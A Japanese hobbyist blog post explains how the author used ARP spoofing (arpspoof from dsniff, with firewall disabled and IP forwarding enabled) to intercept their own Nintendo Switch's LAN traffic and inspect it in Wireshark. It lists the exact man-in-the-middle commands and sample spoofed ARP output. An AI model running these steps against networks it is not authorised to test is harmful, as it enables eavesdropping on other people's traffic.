ARPスプーフィングしてNintendo Switchの通信を覗いてみた
Nintendo Switchある対戦ゲームで、ふと、どのような通信が行われているか気になったので、Wiresharkで通信を覗いてみました。
まだ、Wiresharkは使いこなせていないので、今回はパケットが来ていることを確認するところまでやります。
パケットキャプチャするための機材は持ち合わせていなかったので、ARPスプーフィングでノートPCから通信の内容を覗くことにしました。
事前準備
- Nintendo Switch
- ルータ
- PC(OSはUbuntuを使いました)
参考
こちらの記事を参考にさせていただきました https://www.kdryblog.com/arp-spoofing/#toc12
設定・インストール(PC)
ufwでポートを制限していたので、一時的に止めます。
sudo systemctl stop ufw
カーネルパラメータ net.ipv4.ip_forward
を有効にします。
sudo sysctl -w net.ipv4.ip_forward=1
arpspoofコマンドをインストールします。(dsniffパッケージに含まれています)
sudo apt install dsniff
設定・インストール(Nintendo Switch)
IPアドレスが変わらないように固定にします。
ARPスプーフィングを行う
Nintendo SwitchのIPアドレスを 192.168.100.200
とし、ルータのIPアドレスを 192.168.100.254
をします。
Nintendo Switchに向けて
sudo arpspoof -i eth0 -t 192.168.100.200 192.168.100.254
ルータに向けて
sudo arpspoof -i eth0 -t 192.168.100.254 192.168.100.200
実行すると、こんな感じで、継続的にターゲットへ偽の情報を送り続けます。
XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX 0806 42: arp reply 192.168.100.254 is-at YY:YY:YY:YY:YY:YY XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX 0806 42: arp reply 192.168.100.254 is-at YY:YY:YY:YY:YY:YY XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX 0806 42: arp reply 192.168.100.254 is-at YY:YY:YY:YY:YY:YY XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX 0806 42: arp reply 192.168.100.254 is-at YY:YY:YY:YY:YY:YY XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX 0806 42: arp reply 192.168.100.254 is-at YY:YY:YY:YY:YY:YY
Wiresharkで確認する
Nintendo Switchで実際にゲームをしてみて、パケットが送信されていることを確認します。
確認したゲームでは、対戦時P2Pでそれぞれ対戦相手のSwitchとUDPで直接やりとりしているようですね。(ルーターのNAT超えをしている模様)
まとめ
このような形で、簡単に通信Nintendo Switch通信を覗くことができました。 実際にやってみて、改めて暗号化された通信の重要性を感じました・・・ではでは。